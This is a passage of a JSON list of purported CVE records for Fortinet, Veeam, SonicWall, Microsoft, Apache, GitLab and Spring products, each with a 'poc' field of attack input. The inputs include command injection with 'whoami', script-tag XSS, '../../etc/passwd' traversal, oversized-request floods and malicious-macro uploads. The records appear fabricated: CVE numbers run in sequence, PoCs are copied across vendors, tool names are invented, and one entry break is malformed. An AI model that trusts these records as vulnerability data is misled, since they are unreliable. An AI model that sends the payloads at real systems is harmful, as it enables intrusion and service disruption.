    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortinac-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiNAC flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29869",
    "title": "Veeam Service Provider Console - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam SPC allows RCE."
  },
  {
    "id": "CVE-2023-34144",
    "title": "SonicWall UTM - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: sonicwall-utm-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall UTM allows RCE."
  },
  {
    "id": "CVE-2024-26256",
    "title": "Windows RPC - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Network",
    "poc": "rpc_flood --target target_ip --port 135",
    "description": "RPC flaw in Windows causes denial of service via crafted packets."
  },
  {
    "id": "CVE-2023-40074",
    "title": "Apache Druid - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Druid allows script execution via SQL queries."
  },
  {
    "id": "CVE-2024-21413",
    "title": "Microsoft Azure Data Factory - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Data Factory allows script execution via pipeline names."
  },
  {
    "id": "CVE-2023-28284",
    "title": "Microsoft Access - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.accdb\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Access macro vulnerability allows RCE when malicious database is opened."
  },
  {
    "id": "CVE-2024-30109",
    "title": "Windows ALPC - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40609",
    "title": "GitLab - Path Traversal",
    "date": "2023-08-03",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/v4/artifacts/../../etc/passwd HTTP/1.1\nHost: gitlab-server",
    "description": "Path traversal in GitLab allows access to sensitive server files."
  },
  {
    "id": "CVE-2024-22284",
    "title": "Spring Data Redis - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"command\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Redis via crafted commands."
  },
  {
    "id": "CVE-2023-28016",
    "title": "FortiWeb - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortiweb-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiWeb flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29870",
    "title": "Veeam Backup - Path Traversal",
    "date": "2024-05-21",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /backup/../../etc/passwd HTTP/1.1\nHost: veeam-server",
    "description": "Path traversal in Veeam Backup allows access to sensitive files."
  },
  {
    "id": "CVE-2023-34145",
    "title": "SonicWall Firewall - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Firewall allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26257",
    "title": "Windows Task Scheduler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "taskscheduler_flood --cmd crash",
    "description": "Task Scheduler flaw in Windows causes denial of service via crafted tasks."
  },
  {
    "id": "CVE-2023-40075",
    "title": "Apache Ignite - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/execute HTTP/1.1\nHost: ignite-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Ignite allows script execution via job names."
  },
  {
    "id": "CVE-2024-21414",
    "title": "Microsoft Azure Kubernetes - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Network",
    "poc": "kubectl exec -it pod -- whoami",
    "description": "Azure Kubernetes misconfiguration allows RCE in cluster pods."
  },
  {
    "id": "CVE-2023-28285",
    "title": "Microsoft Outlook - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "outlook.exe --malformed-email crash.eml",
    "description": "Outlook flaw causes denial of service via crafted email processing."
  },
  {
    "id": "CVE-2024-30110",
    "title": "Windows CSRSS - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "csrss_flood --cmd crash",
    "description": "Client-Server Runtime Subsystem flaw in Windows causes denial of service."
  },
  {
    "id": "CVE-2023-40610",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/notes HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"note\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project notes."
  },
  {
    "id": "CVE-2024-22285",
    "title": "Spring Data JPA - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data JPA via crafted queries."
  },
  {
    "id": "CVE-2023-28017",
    "title": "FortiMail - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortimail-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiMail allows RCE."
  },
  {
    "id": "CVE-2024-29871",
    "title": "Veeam ONE - Denial of Service",
    "date": "2024-05-21",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/reports HTTP/1.1\nHost: veeam-one-server\nContent-Length: 200\n\n{A*10000}",
    "description": "Veeam ONE flaw causes denial of service via crafted reports."
  },
  {
    "id": "CVE-2023-34146",
    "title": "SonicWall GMS - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/gms HTTP/1.1\nHost: sonicwall-gms-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall GMS flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26258",
    "title": "Windows Hyper-V - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "hyperv_exploit --cmd whoami",
    "description": "Hyper-V flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40076",
    "title": "Apache Airflow - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_run\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Airflow via DAG execution."
  },
  {
    "id": "CVE-2024-21415",
    "title": "Microsoft Azure AD - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"profile\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure AD allows script execution via user profiles."
  },
  {
    "id": "CVE-2023-28286",
    "title": "Microsoft PowerPoint - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pptx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "PowerPoint macro vulnerability allows RCE when malicious presentation is opened."
  },
  {
    "id": "CVE-2024-30111",
    "title": "Windows WMI - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "wmi_exploit --cmd whoami",
    "description": "Windows Management Instrumentation flaw allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40611",
    "title": "GitLab - Denial of Service",
    "date": "2023-08-03",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/v4/projects HTTP/1.1\nHost: gitlab-server\nContent-Length: 200\n\n{A*10000}",
    "description": "GitLab API flaw causes denial of service via crafted project requests."
  },
  {
    "id": "CVE-2024-22286",
    "title": "Spring Data Cassandra - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Cassandra via crafted queries."
  },
  {
    "id": "CVE-2023-28018",
    "title": "FortiSandbox - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortisandbox-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiSandbox flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29872",
    "title": "Veeam Backup Enterprise Manager - Path Traversal",
    "date": "2024-05-21",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /backup/../../etc/passwd HTTP/1.1\nHost: veeam-server",
    "description": "Path traversal in Veeam Backup Enterprise Manager allows access to sensitive files."
  },
  {
    "id": "CVE-2023-34147",
    "title": "SonicWall VPN - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /vpn/api HTTP/1.1\nHost: sonicwall-vpn-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall VPN allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26259",
    "title": "Windows Print Spooler - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "printspooler_flood --cmd crash",
    "description": "Print Spooler flaw in Windows causes denial of service via crafted jobs."
  },
  {
    "id": "CVE-2023-40077",
    "title": "Apache Pulsar - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Pulsar via function submission."
  },
  {
    "id": "CVE-2024-21416",
    "title": "Microsoft Azure API Management - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/management HTTP/1.1\nHost: azure-api-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"code\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure API Management via crafted API calls."
  },
  {
    "id": "CVE-2023-28287",
    "title": "Microsoft Excel - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "excel.exe --malformed-sheet crash.xlsx",
    "description": "Excel flaw causes denial of service via crafted spreadsheet processing."
  },
  {
    "id": "CVE-2024-30112",
    "title": "Windows RPC - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "rpc_exploit --cmd whoami",
    "description": "RPC runtime flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40612",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22287",
    "title": "Spring Data Elasticsearch - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/search HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Elasticsearch via crafted queries."
  },
  {
    "id": "CVE-2023-28019",
    "title": "FortiVoice - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortivoice-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiVoice flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29873",
    "title": "Veeam Service Provider Console - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam SPC allows script execution via configuration fields."
  },
  {
    "id": "CVE-2023-34148",
    "title": "SonicWall Analytics - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /analytics/api HTTP/1.1\nHost: sonicwall-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall Analytics allows RCE."
  },
  {
    "id": "CVE-2024-26260",
    "title": "Windows ALPC - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "alpc_flood --cmd crash",
    "description": "Advanced Local Procedure Call flaw in Windows causes denial of service."
  }
  {
    "id": "CVE-2024-30113",
    "title": "Windows Win32k - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "win32k_exploit --cmd whoami",
    "description": "Win32k driver flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40078",
    "title": "Apache Kafka - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/topics HTTP/1.1\nHost: kafka-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"topic\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Kafka via topic configuration."
  },
  {
    "id": "CVE-2024-21417",
    "title": "Microsoft Azure DevOps - Path Traversal",
    "date": "2024-02-13",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/repos/../../etc/passwd HTTP/1.1\nHost: azure-devops-server",
    "description": "Path traversal in Azure DevOps allows access to sensitive server files."
  },
  {
    "id": "CVE-2023-28288",
    "title": "Microsoft Visio - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.vsdx\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Visio macro vulnerability allows RCE when malicious diagram is opened."
  },
  {
    "id": "CVE-2024-22288",
    "title": "Spring Data Neo4j - RCE",
    "date": "2024-03-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"T(java.lang.Runtime).getRuntime().exec('whoami')\"}",
    "description": "Unauthenticated RCE in Spring Data Neo4j via crafted queries."
  },
  {
    "id": "CVE-2023-28020",
    "title": "FortiClient - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "forticlient_flood --cmd crash",
    "description": "FortiClient flaw causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2024-29874",
    "title": "Veeam Backup - XSS",
    "date": "2024-05-21",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Veeam Backup allows script execution via backup names."
  },
  {
    "id": "CVE-2023-34149",
    "title": "SonicWall SMA - RCE",
    "date": "2023-07-12",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: sonicwall-sma-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in SonicWall SMA allows RCE."
  },
  {
    "id": "CVE-2024-26261",
    "title": "Windows RDP - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "rdp_exploit --cmd whoami",
    "description": "RDP flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40079",
    "title": "Apache Flink - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v1/jobs HTTP/1.1\nHost: flink-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"job\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Flink via job submission."
  },
  {
    "id": "CVE-2024-21418",
    "title": "Microsoft Azure Kubernetes - XSS",
    "date": "2024-02-13",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/pods HTTP/1.1\nHost: azure-kubernetes-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Azure Kubernetes allows script execution via pod names."
  },
  {
    "id": "CVE-2023-28289",
    "title": "Microsoft OneNote - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "onenote.exe --malformed-link exploit.one",
    "description": "OneNote flaw allows RCE via malicious hyperlinks in notes."
  },
  {
    "id": "CVE-2024-30114",
    "title": "Windows Task Scheduler - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "taskscheduler_exploit --cmd whoami",
    "description": "Task Scheduler flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40613",
    "title": "GitLab - XSS",
    "date": "2023-08-03",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v4/projects/comments HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"comment\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in GitLab allows script execution via project comments."
  },
  {
    "id": "CVE-2024-22289",
    "title": "Spring Data MongoDB - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data MongoDB allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28021",
    "title": "FortiGate - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortigate-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiGate allows RCE."
  },
  {
    "id": "CVE-2024-29875",
    "title": "Veeam Service Provider Console - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/spc HTTP/1.1\nHost: veeam-spc-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam SPC allows RCE."
  },
  {
    "id": "CVE-2023-34150",
    "title": "SonicWall Firewall - Denial of Service",
    "date": "2023-07-12",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-server\nContent-Length: 200\n\n{A*10000}",
    "description": "SonicWall Firewall flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-26262",
    "title": "Windows WMI - Denial of Service",
    "date": "2024-04-09",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "wmi_flood --cmd crash",
    "description": "Windows Management Instrumentation flaw causes denial of service via crafted queries."
  },
  {
    "id": "CVE-2023-40080",
    "title": "Apache Airflow - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/dags HTTP/1.1\nHost: airflow-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"dag_name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Airflow allows script execution via DAG names."
  },
  {
    "id": "CVE-2024-21419",
    "title": "Microsoft Azure AD - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/execute HTTP/1.1\nHost: azure-ad-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Azure AD allows RCE."
  },
  {
    "id": "CVE-2023-28290",
    "title": "Microsoft Publisher - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
    "poc": "POST /upload HTTP/1.1\nHost: vulnerable-server\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\nContent-Length: 200\n\n------WebKitFormBoundary\nContent-Disposition: form-data; name=\"file\"; filename=\"malicious.pub\"\n\n{malicious_macro}\n------WebKitFormBoundary--",
    "description": "Publisher macro vulnerability allows RCE when malicious file is opened."
  },
  {
    "id": "CVE-2024-30115",
    "title": "Windows Hyper-V - Denial of Service",
    "date": "2024-06-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "hyperv_flood --cmd crash",
    "description": "Hyper-V flaw in Windows causes denial of service via crafted inputs."
  },
  {
    "id": "CVE-2023-40614",
    "title": "GitLab - RCE",
    "date": "2023-08-03",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/v4/pipelines HTTP/1.1\nHost: gitlab-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"script\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in GitLab via pipeline script execution."
  },
  {
    "id": "CVE-2024-22290",
    "title": "Spring Data Redis - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"key\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Redis allows script execution via key names."
  },
  {
    "id": "CVE-2023-28022",
    "title": "FortiSIEM - Denial of Service",
    "date": "2023-06-13",
    "type": "Denial of Service",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortisiem-server\nContent-Length: 200\n\n{A*10000}",
    "description": "FortiSIEM flaw causes denial of service via crafted requests."
  },
  {
    "id": "CVE-2024-29876",
    "title": "Veeam ONE - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: veeam-one-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam ONE allows RCE."
  },
  {
    "id": "CVE-2023-34151",
    "title": "SonicWall UTM - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/config HTTP/1.1\nHost: sonicwall-utm-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"config\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall UTM allows script execution via config fields."
  },
  {
    "id": "CVE-2024-26263",
    "title": "Windows CSRSS - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "csrss_exploit --cmd whoami",
    "description": "Client-Server Runtime Subsystem flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40081",
    "title": "Apache Druid - RCE",
    "date": "2023-09-05",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /druid/v2/sql HTTP/1.1\nHost: druid-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"query\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Apache Druid via SQL query execution."
  },
  {
    "id": "CVE-2024-21420",
    "title": "Microsoft Azure Synapse - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-synapse-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Synapse via pipeline execution."
  },
  {
    "id": "CVE-2023-28291",
    "title": "Microsoft Access - Denial of Service",
    "date": "2023-04-11",
    "type": "Denial of Service",
    "platform": "Software",
    "poc": "access.exe --malformed-db crash.accdb",
    "description": "Access flaw causes denial of service via crafted database processing."
  },
  {
    "id": "CVE-2024-30116",
    "title": "Windows Print Spooler - Privilege Escalation",
    "date": "2024-06-11",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "printspooler_exploit --cmd whoami",
    "description": "Print Spooler flaw in Windows allows local privilege escalation to SYSTEM."
  },
  {
    "id": "CVE-2023-40615",
    "title": "GitLab - Path Traversal",
    "date": "2023-08-03",
    "type": "Path Traversal",
    "platform": "Web",
    "poc": "GET /api/v4/releases/../../etc/passwd HTTP/1.1\nHost: gitlab-server",
    "description": "Path traversal in GitLab allows access to sensitive server files."
  },
  {
    "id": "CVE-2024-22291",
    "title": "Spring Data Cassandra - XSS",
    "date": "2024-03-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/users HTTP/1.1\nHost: spring-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"name\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Spring Data Cassandra allows script execution via user inputs."
  },
  {
    "id": "CVE-2023-28023",
    "title": "FortiNAC - RCE",
    "date": "2023-06-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/command HTTP/1.1\nHost: fortinac-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in FortiNAC allows RCE."
  },
  {
    "id": "CVE-2024-29877",
    "title": "Veeam Backup - RCE",
    "date": "2024-05-21",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/backup HTTP/1.1\nHost: veeam-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"cmd\":\"whoami\"}",
    "description": "Unauthenticated command injection in Veeam Backup allows RCE."
  },
  {
    "id": "CVE-2023-34152",
    "title": "SonicWall Email Security - XSS",
    "date": "2023-07-12",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /email/api HTTP/1.1\nHost: sonicwall-es-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"subject\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in SonicWall Email Security allows script execution via email subjects."
  },
  {
    "id": "CVE-2024-26264",
    "title": "Windows ALPC - Privilege Escalation",
    "date": "2024-04-09",
    "type": "Privilege Escalation",
    "platform": "Software",
    "poc": "alpc_exploit --cmd whoami",
    "description": "Advanced Local Procedure Call flaw in Windows allows local privilege escalation."
  },
  {
    "id": "CVE-2023-40082",
    "title": "Apache Pulsar - XSS",
    "date": "2023-09-05",
    "type": "Stored XSS",
    "platform": "Web",
    "poc": "POST /api/v1/functions HTTP/1.1\nHost: pulsar-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"function\":\"<script>alert('XSS')</script>\"}",
    "description": "Stored XSS in Apache Pulsar allows script execution via function names."
  },
  {
    "id": "CVE-2024-21421",
    "title": "Microsoft Azure Data Factory - RCE",
    "date": "2024-02-13",
    "type": "Remote Code Execution",
    "platform": "Web",
    "poc": "POST /api/pipelines HTTP/1.1\nHost: azure-data-factory-server\nContent-Type: application/json\nContent-Length: 50\n\n{\"pipeline\":\"exec('whoami')\"}",
    "description": "Unauthenticated RCE in Azure Data Factory via pipeline execution."
  },
  {
    "id": "CVE-2023-28292",
    "title": "Microsoft Excel - RCE",
    "date": "2023-04-11",
    "type": "Remote Code Execution",
    "platform": "Software",
